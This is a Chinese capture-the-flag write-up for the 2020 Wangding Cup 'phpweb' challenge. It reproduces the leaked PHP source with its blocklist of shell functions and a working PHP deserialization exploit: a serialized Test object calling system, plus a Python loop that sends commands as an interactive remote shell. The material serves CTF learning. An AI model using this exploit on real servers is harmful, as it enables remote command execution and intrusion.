[网鼎杯 2020 朱雀组]phpweb

• 考点
• 复现
• 参考

考点

反序列化、php审计

复现

打开，这什么鬼
启用checklist，看view source无果，使用burp，发现含有参数，

POST /index.php HTTP/1.1
Host: a32c0082-7a24-48f0-ac37-ab8fb8cb6c36.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://a32c0082-7a24-48f0-ac37-ab8fb8cb6c36.node4.buuoj.cn:81
Connection: keep-alive
Referer: http://a32c0082-7a24-48f0-ac37-ab8fb8cb6c36.node4.buuoj.cn:81/index.php
Upgrade-Insecure-Requests: 1

func=date&p=Y-m-d+h%3Ai%3As+a

因为刚刚做过一个file_get_contents的题，测试file_get_contents(index.php)，得到源码

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

本想着绕过，发现没什么可用函数，想着应该是自己不知道某种偏僻函数，看了WP，发现是反序列化，都怪自己对代码审计的敏感度低，可以看到Test类里面的反序列没有函数过滤，所以想着反序列一个Test类
使用在线php序列化Test，

<?php
class Test {
        var $p = "shell";
        var $func = "system";
    }
    
$a=new Test();
echo(serialize($a));
?>

得到

O:4:"Test":2:{s:1:"p";s:16:"python --version";s:4:"func";s:6:"system";}

由于来回复制很麻烦，写了个脚本

import requests
import re

url = 'http://a32c0082-7a24-48f0-ac37-ab8fb8cb6c36.node4.buuoj.cn:81/index.php'
# 以字典的形式构造数据
def  send_shell(shell):
    shell_len=str(len(shell))
    shell_ser='O:4:"Test":2:{s:1:"p";s:'+shell_len+':"'+shell+'";s:4:"func";s:6:"system";}'
    #print(shell_ser)
    data = {
        'func':'unserialize',
        'p':shell_ser
    }
    # 与 get 请求一样，r 为响应对象
    r = requests.post(url, data=data)
    # 查看响应结果p
    #print(r.text)
    repose=re.search(r'<p>((?:.|\n)*?)</p>', r.text)#这里学到一个新知识，跨行匹配((?:.|\n)*?)
    print(repose.group(1))

test=1
send_shell('ls')

while 1:
    shell=input('input your shell :\n')
    send_shell(shell)

python应该也有专门的序列化的函数，回头再试

参考

2.8 多行匹配模式
Python3 正则表达式
[网鼎杯 2020 朱雀组]phpweb
Linux反弹shell的10种姿势